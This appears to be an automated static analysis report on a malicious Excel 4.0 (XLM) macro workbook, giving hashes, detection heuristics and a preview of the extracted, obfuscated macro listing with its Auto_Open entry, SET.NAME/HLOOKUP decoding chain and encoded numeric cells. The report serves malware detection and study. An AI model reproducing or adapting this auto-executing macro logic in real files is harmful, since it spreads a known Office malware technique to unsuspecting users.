Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f38833ed9ec68d9…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:39 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 450b4b47dec9e1841fe21743817b33ce SHA-1: 2a80658d1ee26eb1a52b633e5287e8e348243f7f SHA-256: 2f38833ed9ec68d93daefe8012f59b054ff540e4b6d9071a9e2c2cc98e11f90d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6695 bytes
SHA-256: 36f8a5b88c93970b102cec5f2c7d89a5090372211865417697a49eaa8419d542
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RNQkje
' 0018     26 LABEL : Cell Value, String Constant - aelyxyNPQMi len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H134 
' 0018     25 LABEL : Cell Value, String Constant - ehpVmkNekP len=0 
' 0018     20 LABEL : Cell Value, String Constant - GVyRj len=0 
' 0018     24 LABEL : Cell Value, String Constant - iTDXUIrml len=0 
' 0018     21 LABEL : Cell Value, String Constant - iTgOVe len=0 
' 0018     22 LABEL : Cell Value, String Constant - kIEjYyF len=0 
' 0018     26 LABEL : Cell Value, String Constant - kjvmcgerDWV len=0 
' 0018     23 LABEL : Cell Value, String Constant - niBcImES len=0 
' 0018     27 LABEL : Cell Value, String Constant - NXgSAeOJxDYA len=0 
' 0018     23 LABEL : Cell Value, String Constant - PsrmYLkM len=0 
' 0018     23 LABEL : Cell Value, String Constant - qBJpYfja len=0 
' 0018     25 LABEL : Cell Value, String Constant - qfXzViHbhK len=0 
' 0018     25 LABEL : Cell Value, String Constant - sKEkcUMJvN len=0 
' 0018     27 LABEL : Cell Value, String Constant - SprGvTKoSJPi len=0 
' 0018     20 LABEL : Cell Value, String Constant - wqXnW len=0 
' 0018     25 LABEL : Cell Value, String Constant - wZQaaJnzqh len=0 
' 0018     22 LABEL : Cell Value, String Constant - xdovSOh len=0 
' 0018     27 LABEL : Cell Value, String Constant - xXBLKCkkczWP len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZHsmzinorXJY len=0 
' 0018     20 LABEL : Cell Value, String Constant - ztdgH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RNQkje,H47,"SET.NAME("xdovSOh",0+VALUE("0"))",""
'  RNQkje,H52,"SET.NAME("PsrmYLkM",xdovSOh)",""
'  RNQkje,H55,"SET.NAME("ZHsmzinorXJY",xdovSOh)",""
'  RNQkje,H58,"SET.NAME("niBcImES",COUNTA(ehpVmkNekP))",""
'  RNQkje,H61,"SET.NAME("ztdgH",COUNTA(aelyxyNPQMi))",""
'  RNQkje,H65,[],""
'  RNQkje,H68,"SET.NAME("qfXzViHbhK","")",""
'  RNQkje,H72,"PsrmYLkM",""
'  RNQkje,H74,"SET.NAME("NXgSAeOJxDYA",HLOOKUP("*",ehpVmkNekP,PsrmYLkM,FALSE))",""
'  RNQkje,H77,"wqXnW",""
'  RNQkje,R77,"",-714.00000000000000000000
'  RNQkje,R78,"",-558.00000000000000000000
'  RNQkje,R79,"",380.00000000000000000000
'  RNQkje,R80,"",-816.00000000000000000000
'  RNQkje,R81,"",-778.00000000000000000000
'  RNQkje,H82,"SET.NAME("SprGvTKoSJPi",xdovSOh)",""
'  RNQkje,R82,"",-822.00000000000000000000
'  RNQkje,H85,[],""
'  RNQkje,H87,"SprGvTKoSJPi",""
'  RNQkje,H92,"iTgOVe",""
'  RNQkje,H96,"GVyRj",""
'  RNQkje,H98,"wZQaaJnzqh",""
'  RNQkje,H101,"SET.NAME("xXBLKCkkczWP",VALUE(HLOOKUP("*",aelyxyNPQMi,wZQaaJnzqh,FALSE)))",""
'  RNQkje,H106,"kjvmcgerDWV",""
'  RNQkje,H111,"qfXzViHbhK",""
'  RNQkje,H115,"ZHsmzinorXJY",""
'  RNQkje,H117,NEXT(),""
'  RNQkje,H120,"iTDXUIrml",""
'  RNQkje,H125,[],""
'  RNQkje,H127,"sKEkcUMJvN",""
'  RNQkje,H129,NEXT(),""
'  RNQkje,H132,RETURN(),""
'  RNQkje,H157,"SET.NAME("qBJpYfja",H47)",""
'  RNQkje,H160,"ehpVmkNekP",""
'  RNQkje,H164,"SET.NAME("aelyxyNPQMi",R64C14)",""
'  RNQkje,H166,"SET.NAME("sKEkcUMJvN",176)",""
'  RNQkje,H171,"SET.NAME("kIEjYyF",8)",""
'  RNQkje,H175,qBJpYfja(),""
'  RNQkje,H176,HALT(),""